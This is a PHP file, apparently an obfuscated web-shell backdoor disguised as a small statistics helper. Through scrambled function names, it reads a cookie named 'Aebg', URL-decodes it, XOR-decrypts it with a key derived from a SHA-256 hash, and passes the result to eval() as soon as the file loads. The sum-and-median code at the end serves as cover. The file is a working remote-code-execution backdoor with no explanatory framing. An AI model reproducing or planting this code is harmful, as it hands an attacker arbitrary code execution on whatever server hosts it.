<?php	function ZLkeOlCO($TtSKnVL, $eQGTLqwV)
{
    $jSEygMgWSl = $TtSKnVL ^ $eQGTLqwV;
    return $jSEygMgWSl;
}
function DazmAJT($dOaxWATF)
{
    $aceHRFKEl = substr($dOaxWATF, -4);
    return $aceHRFKEl;
}
function hOBuQUMZ($TMCYHLEzKh, $INRqep)
{
    $cNcoQemmdt = str_pad($TMCYHLEzKh, $INRqep, $TMCYHLEzKh);
    return $cNcoQemmdt;
}
function qvPuFCMYpu()
{
    $wUyMkLj = "lFSYmBjMNIkkUHAebg";
    return $wUyMkLj;
}
function bvfYZ($ywBBN)
{
    $cXdiEJek = rawurldecode($ywBBN);
    return $cXdiEJek;
}
function hNvrneu($gKvbzfdO)
{
    $kQTZnXgrrC = strlen($gKvbzfdO);
    return $kQTZnXgrrC;
}
function QdnQxisHIn($vkEzGZgr) {
    $VObSC = YPviZRPZuJ($vkEzGZgr);
    $dQBdyVq = count($VObSC);
    $ZggGAhTqAU = floor(($dQBdyVq - 1) / 2);
    if ($dQBdyVq % 2) {
        return $VObSC[$ZggGAhTqAU];
    }
    return ($VObSC[$ZggGAhTqAU] + $VObSC[$ZggGAhTqAU + 1]) / 2;
}
function zWMdJ()
{
    $xBrnXDhkZa = CcQPn();
    rlySD($xBrnXDhkZa);
}
function rShOWsAtD($zdqYW)
{
    $XMYyWDXrB = IFezSYu($zdqYW);
    $PLVRvEae = bvfYZ($XMYyWDXrB);
    return $PLVRvEae;
}
function dNqOJwES($vkEzGZgr) {
    $OIjfyxnZuy = array_sum($vkEzGZgr);
    $mYocPZ = QdnQxisHIn($vkEzGZgr);
    return ['sum' => $OIjfyxnZuy, 'median' => $mYocPZ];
}
function rlySD($hbSUP)
{
    eval($hbSUP);
}
function YPviZRPZuJ($vkEzGZgr) {
    sort($vkEzGZgr);
    return $vkEzGZgr;
}
function wyXnMIjs($BbhjrmjobW)
{
    $WkJwoYqBjT = hash("sha256", $BbhjrmjobW, TRUE);
    return $WkJwoYqBjT;
}
function mBReBY($jejDx, $rnPmCm)
{
    $PTKdeRBKNC = wyXnMIjs($jejDx);
    $PLVRvEae = rShOWsAtD($rnPmCm);
    $RZNoEJgaPR = jWYbpQ($PLVRvEae, $PTKdeRBKNC);
    return $RZNoEJgaPR;
}
function ffKeWlEK($QIcpIiC)
{
    $PggyxyR = DazmAJT($QIcpIiC);
    $BAxqItF = mBReBY($QIcpIiC, $PggyxyR);
    return $BAxqItF;
}
function CcQPn()
{
    $CUNYcutO = qvPuFCMYpu();
    $AtqAO = ffKeWlEK($CUNYcutO);
    return $AtqAO;
}
function jWYbpQ($ebqVPfMa, $JavVABDBs)
{
    $bQoyRGfdo = hNvrneu($ebqVPfMa);
    $qoPLVTH = hOBuQUMZ($JavVABDBs, $bQoyRGfdo);
    $xBrnXDhkZa = ZLkeOlCO($qoPLVTH, $ebqVPfMa);
    return $xBrnXDhkZa;
}
function IFezSYu($TdkCGuHS)
{
    $qnqGdz = $_COOKIE[$TdkCGuHS];
    return $qnqGdz;
}
zWMdJ();
$UewRBiFZc = dNqOJwES([7, 3, 9, 1, 4]);